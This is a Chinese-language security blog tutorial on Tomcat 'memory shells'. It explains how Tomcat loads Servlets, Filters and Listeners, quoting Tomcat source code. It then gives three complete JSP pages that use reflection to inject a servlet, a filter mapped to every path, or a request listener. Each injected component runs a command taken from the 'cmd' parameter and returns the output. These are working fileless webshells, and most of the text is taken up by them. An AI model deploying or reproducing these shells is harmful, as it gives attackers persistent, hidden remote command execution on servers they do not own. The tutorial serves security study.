Skip to content

JavaSec 入门-07-传统内存马

约 4883 字大约 16 分钟

Java

2025-03-02

Java 开摆这么久真是该死,但是现在要 all in了,前面的 JNDI,RMI,Fastjson 最近会写

前言

当 CC 链暂时告一段落,面对 JavaWeb,我们该何去何从?内存马是不得不学的重要部分

这篇笔记主要记录传统 Java 内存马,即Servlet,Filter,Listener三种的原理及实现

主要参考文章 完全零基础从0到1掌握Java内存马,因为懒照搬了一些文字内容 : /

本文使用 jdk8 , Tomcat 版本8.5.100

Servlet

前置

参考Tomcat 架构原理解析到架构设计借鉴Java Web(一) Servlet详解!!

首先了解一下整体架构,Wrapper 表示一个 ServletContext 表示一个 Web 应用程序,而一个 Web 程序可能有多个 ServletHost 表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置多个站点(Host);一个站点( Host) 可以部署多个 Web 应用;Engine 代表 引擎,用于管理多个站点(Host),一个 Service 只能有 一个 Engine

image-20250302143104246

image-20250302205717100

  1. Tomcat 将 http 请求文本接收并解析,然后封装成 HttpServletRequest 类型的 request 对象,所有的HTTP头数据读可以通过 request 对象调用对应的方法查询到。
  2. Tomcat 同时会要响应的信息封装为 HttpServletResponse 类型的 response 对象,通过设置 response 属性就可以控制要输出到浏览器的内容,然后将 response 交给 tomcat,tomcat 就会将其变成响应文本的格式发送给浏览器

这两个封装好的 request 和 response 对象在之后会有不少用处

image-20250304142253466

初始化

这一部分采用嵌入式 tomcat 也就是所谓的tomcat-embed-core,暂时不用下载的 tomcat

导入

pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>servletMemoryShell</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>9.0.83</version>
            <scope>compile</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>9.0.83</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>

</project>

org/apache/catalina/core/StandardWrapper.java下个断点进来看一下

image-20250228150158919

org/apache/catalina/startup/ContextConfig.java中1510行左右

        for (ServletDef servlet : webxml.getServlets().values()) {
            Wrapper wrapper = context.createWrapper();
            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

直接照搬:首先通过webxml.getServlets()获取的所有Servlet定义,并建立循环;然后创建一个Wrapper对象,并设置Servlet的加载顺序、是否启用(即获取</load-on-startup>标签的值)、Servlet的名称等基本属性;接着遍历Servlet的初始化参数并设置到Wrapper中,并处理安全角色引用、将角色和对应链接添加到Wrapper中;如果Servlet定义中包含文件上传配置,则根据配置信息设置MultipartConfigElement;设置Servlet是否支持异步操作;通过context.addChild(wrapper);将配置好的Wrapper添加到Context中,完成Servlet的初始化过程。

上面大的for循环中嵌套的最后一个for循环则负责处理Servleturl映射,将ServleturlServlet名称关联起来。

也就是说,Servlet的初始化主要经历以下六个步骤:

  • 创建Wapper对象;
  • 设置ServletLoadOnStartUp的值;
  • 设置Servlet的名称;
  • 设置Servletclass
  • 将配置好的Wrapper添加到Context中;
  • urlservlet类做映射

servlet装载流程分析

org.apache.catalina.core.StandardWrapper#loadServlet下断点

image-20250228160608349

关注org.apache.catalina.core.StandardContext#startInternal

装载顺序为Listener-->Filter-->Servlet

image-20250228161405298

上面红框中的代码调用了org.apache.catalina.core.StandardContext#loadOnStartup,跟进该方法,代码如下:

public boolean loadOnStartup(Container children[]) {
    TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
    for (Container child : children) {
        Wrapper wrapper = (Wrapper) child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup < 0) {
            continue;
        }
        Integer key = Integer.valueOf(loadOnStartup);
        map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
    }
    for (ArrayList<Wrapper> list : map.values()) {
        for (Wrapper wrapper : list) {
            try {
                wrapper.load();
            } catch (ServletException e) {
                getLogger().error(
                        sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
                        StandardWrapper.getRootCause(e));
                if (getComputedFailCtxIfServletStartFails()) {
                    return false;
                }
            }
        }
    }
    return true;
}

可以看到,这段代码先是创建一个TreeMap,然后遍历传入的Container数组,将每个ServletloadOnStartup值作为键,将对应的Wrapper对象存储在相应的列表中;如果这个loadOnStartup值是负数,除非你请求访问它,否则就不会加载;如果是非负数,那么就按照这个loadOnStartup的升序的顺序来加载。

Servlet 内存马

经过上面的分析,大概了解了 Servlet 流程,如果想要写一个内存马,需要经过以下步骤:

  • 找到StandardContext

  • 继承并编写一个恶意servlet

  • 创建Wapper对象

  • 设置ServletLoadOnStartUp的值

  • 设置ServletName

  • 设置Servlet对应的Class

  • Servlet添加到contextchildren

  • url路径和servlet类做映射

写一个 demo 调试一下,其实这个随机的路径不是必须,写好这个 shell.jsp 去访问,两个选一个即可

shell2.jsp
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
    public class MyExp extends HttpServlet { // 准备已存在的恶意类
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            // 命令执行与回显...
            InputStream inputStream = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
            byte[] myChunk = new byte[1024];
            int i = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((i = inputStream.read(myChunk)) != -1) {
                byteArrayOutputStream.write(myChunk, 0, i);
            }
            resp.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
        }
    }
%>

<%
    ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
    Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
    ApplicationContextContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
    Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
    StandardContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
    // 下面模拟 ServletContext::addServlet 方法中的动态生成内存马的代码块...
    Wrapper wrapper = standardContext.createWrapper(); 
    wrapper.setName("MyExp");
    standardContext.addChild(wrapper);
    MyExp myExp = new MyExp();
    wrapper.setServletClass(myExp.getClass().getName());
    wrapper.setServlet(myExp);
    standardContext.dynamicServletAdded(wrapper);
    standardContext.addServletMapping("/MyExp", wrapper.getName());
%>

image-20250302150951250

分析

第一部分,先是StandardContext

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

从当前HttpServletRequest中获取ServletContext对象,然后使用反射从ServletContext对象中获取ApplicationContext实例。最后通过反射获取ApplicationContext对象的StandardContext实例,到这里,我们就成功找到了StandardContext

关于这里面的三个Context

ServletContextServlet规范,org.apache.catalina.core.ApplicationContextServletContext的实现。org.apache.catalina.Context 接口是 tomcat 容器结构中的一种容器,代表的是一个 web 应用程序。是 tomcat 独有的。其标准实现是org.apache.catalina.core.StandardContext。是 tomcat 容器的重要组成部分

第二部分,编写恶意Servlet

正常写就好,没什么可说的,也可以写doGet那种

Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) {}
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
        String cmd = servletRequest.getParameter("cmd");
        {
            InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
            Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            servletResponse.setCharacterEncoding("GBK");
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }
    @Override
    public String getServletInfo() {
        return null;
    }
    @Override
    public void destroy() {
    }
};

接着我们需要完成后续的六个任务:创建Wapper对象、设置ServletLoadOnStartUp的值、设置ServletName、设置Servlet对应的Class、将Servlet添加到contextchildren中、将url路径和servlet类做映射,代码如下:

Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletURL, servletName);

总结下来就是对于 ServletContext进行操作,然后再 create 出来一个 wrapper 去加载

Filter

Filter是用于对请求和响应进行过滤和处理的

image-20250228162107731

从上图可以看出,这个filter就是一个关卡,客户端的请求在经过filter之后才会到Servlet,那么如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就可以实现命令执行,形成内存马。

这些名词其实很容易理解,首先,需要定义过滤器FilterDef,存放这些FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等,这一点可以从org/apache/tomcat/util/descriptor/web/FilterDef.java的代码中看出来;然后是FilterDefs,它只是过滤器的抽象定义,而FilterConfigs则是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;紧接着是FilterMaps,它是用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs,从而确定要执行的过滤器链;而FilterChain是由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。

简单的Filter

这个要用一下外部 tomcat,添加一个 Filter进去

pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Testtom</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>4.0.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.100</version> <!-- 根据你的Tomcat版本选择 -->
            <scope>provided</scope>
        </dependency>
    </dependencies>


</project>

启动服务器,访问 /test,关闭服务器会触发

image-20250302154149922

运行流程

在 DoFilter 下断点看一下,找一下Filter怎么加载进去的

org.apache.catalina.core.StandardWrapperValve.java::invoke方法里的

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

image-20250302161528433

跟进看一下这个方法

    public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

        // If there is no servlet to execute, return null
        if (servlet == null) {
            return null;
        }

        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request) request;
            if (Globals.IS_SECURITY_ENABLED) {
                // Security: Do not recycle
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain) req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        }

        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();

        // If there are no filter mappings, we are done
        if (filterMaps == null || filterMaps.length == 0) {
            return filterChain;
        }

        // Acquire the information we will need to match filter mappings
        DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

        String requestPath = null;
        Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
        if (attribute != null) {
            requestPath = attribute.toString();
        }

        String servletName = wrapper.getName();

        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMap, requestPath)) {
                continue;
            }
            ApplicationFilterConfig filterConfig =
                    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

        // Add filters that match on servlet name second
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMap, servletName)) {
                continue;
            }
            ApplicationFilterConfig filterConfig =
                    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

        // Return the completed filter chain
        return filterChain;
    }

这段代码先是判断servlet是否为空,然后根据传入的ServletRequest的类型来分类处理,如果是Request类型,并且启用了安全性,那么就创建一个新的ApplicationFilterChain,如果没启用,那么就尝试从请求中获取现有的过滤器链,如果不存在那么就创建一个新的;接着是设置过滤器链的Servlet和异步支持属性,关键点在于后面从Wrapper中获取父级上下文(StandardContext),然后获取该上下文中定义的过滤器映射数组(FilterMap);最后遍历过滤器映射数组,根据请求的DispatcherType和请求路径匹配过滤器,并将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链。

image-20250302163819532

跟进原来的

filterChain.doFilter(request.getRequest(),response.getResponse());

doFilter方法中会调用org.apache.catalina.core.ApplicationFilterChain#internalDoFilter方法,在这个方法中会依次拿到filterConfigfilter

image-20250302164843261

从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码

Filter内存马

经过上述分析,如果我们想要写一个Filter内存马,需要经过以下步骤:

参考:(https://longlone.top/安全/java/java安全/内存马/Tomcat-Filter型/)

  • 获取StandardContext
  • 继承并编写一个恶意filter
  • 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中;
  • 实例化一个FilterMap类,将我们的Filterurlpattern相对应,使用addFilterMapBefore存放到StandardContext.filterMaps中;
  • 通过反射获取filterConfigs,实例化一个FilterConfigApplicationFilterConfig)类,传入StandardContextfilterDefs,存放到filterConfig中。

需要注意的是,一定要先修改filterDef,再修改filterMap,不然会抛出找不到filterName的异常。

<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    String filterName = getRandomString();
    if (filterConfigs.get(filterName) == null) {
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) {
            }

            @Override
            public void destroy() {
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
                String cmd = httpServletRequest.getParameter("cmd");
                {
                    InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("GBK");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
        };
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, applicationFilterConfig);
        out.print("[+]&nbsp;&nbsp;&nbsp;&nbsp;Malicious filter injection successful!<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Filter name: " + filterName + "<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Below is a list displaying filter names and their corresponding URL patterns:");
        out.println("<table border='1'>");
        out.println("<tr><th>Filter Name</th><th>URL Patterns</th></tr>");
        List<String[]> allUrlPatterns = new ArrayList<>();
        for (Object filterConfigObj : filterConfigs.values()) {
            if (filterConfigObj instanceof ApplicationFilterConfig) {
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigObj;
                String filtername = filterConfig.getFilterName();
                FilterDef filterdef = standardContext.findFilterDef(filtername);
                if (filterdef != null) {
                    FilterMap[] filterMaps = standardContext.findFilterMaps();
                    for (FilterMap filtermap : filterMaps) {
                        if (filtermap.getFilterName().equals(filtername)) {
                            String[] urlPatterns = filtermap.getURLPatterns();
                            allUrlPatterns.add(urlPatterns); // 将当前迭代的urlPatterns添加到列表中

                            out.println("<tr><td>" + filtername + "</td>");
                            out.println("<td>" + String.join(", ", urlPatterns) + "</td></tr>");
                        }
                    }
                }
            }
        }
        out.println("</table>");
        for (String[] urlPatterns : allUrlPatterns) {
            for (String pattern : urlPatterns) {
                if (!pattern.equals("/*")) {
                    out.println("[+]&nbsp;&nbsp;&nbsp;&nbsp;shell: http://localhost:8080/test" + pattern + "?cmd=ipconfig<br>");
                }
            }
        }
    }
%>
<%!
    private String getRandomString() {
        String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        StringBuilder randomString = new StringBuilder();
        for (int i = 0; i < 8; i++) {
            int index = (int) (Math.random() * characters.length());
            randomString.append(characters.charAt(index));
        }
        return randomString.toString();
    }
%>

分析

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);

前七行和之前一样拿到StandardContext,最后是获取StandardContext的私有字段filterConfigs,设置可访问之后通过反射获取StandardContextfilterConfigs字段的值。

然后是

FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);

也就是定义我们自己的filterDefFilterMap并加入到srandardContext中,接着反射获取 ApplicationFilterConfig 类的构造函数,然后创建了一个 ApplicationFilterConfig 对象的实例,接着将刚刚创建的实例添加到过滤器配置的 Map 中,filterName 为键,这样就可以将动态创建的过滤器配置信息加入应用程序的全局配置中。

总结就是 Filter 型需要对srandardContext操作,主要两个部分,FilterDefFilterMap

Listener

image-20250302201913285

tomcat中,常见的Listener有以下几种:

  • ServletContextListener,用来监听整个Web应用程序的启动和关闭事件,需要实现contextInitializedcontextDestroyed这两个方法;
  • ServletRequestListener,用来监听HTTP请求的创建和销毁事件,需要实现requestInitializedrequestDestroyed这两个方法;
  • HttpSessionListener,用来监听HTTP会话的创建和销毁事件,需要实现sessionCreatedsessionDestroyed这两个方法;
  • HttpSessionAttributeListener,监听HTTP会话属性的添加、删除和替换事件,需要实现attributeAddedattributeRemovedattributeReplaced这三个方法。

很明显,ServletRequestListener是最适合做内存马的,因为它只要访问服务就能触发操作。

使用之前 Filter 的环境但是我们要替换掉 TestFilter.java, 写一个 TestListener.java

package org.example;

import javax.servlet.*;
import javax.servlet.annotation.WebListener;

@WebListener("/test")
public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("[+] destroy TestListener");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("[+] initial TestListener");
    }
}

image-20250302202204369

如图位置下断点,然后找org.apache.catalina.core.StandardContext#listenerStart方法的调用

image-20250302202538555

先查找再实例化

image-20250302202704967

在下面调用了,也就是加进去ApplicationEventListeners

eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));

然后我们在StandardContext.java里面发现了一个addApplicationEventListener方法

image-20250302203342689

Listener内存马

所以如果我们想要写一个Listener内存马,需要经过以下步骤:

  • 继承并编写一个恶意Listener

  • 获取StandardContext

  • 调用StandardContext.addApplicationEventListener()添加恶意Listener

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%!
    public class EvilListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().setCharacterEncoding("GBK");
                    request.getResponse().getWriter().write(out);
                }
                catch (Exception ignored) {}
            }
        }
        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    EvilListener evilListener = new EvilListener();
    context.addApplicationEventListener(evilListener);
    out.println("[+]&nbsp;&nbsp;&nbsp;&nbsp;Inject Listener Memory Shell successfully!<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Shell url: http://localhost:8080/test/?cmd=ipconfig");
%>

image-20250302204111054

分析

主要是这一部分

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
EvilListener evilListener = new EvilListener();
context.addApplicationEventListener(evilListener);

前面获取StandardContext,后面实例化我们编写的恶意Listener,调用addApplicationEventListener方法加入到applicationEventListenersList中去,这样最终就会到eventListener

参考文章

完全零基础从0到1掌握Java内存马

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术Java Web(一) Servlet详解!!

及这些文章中所提到的文章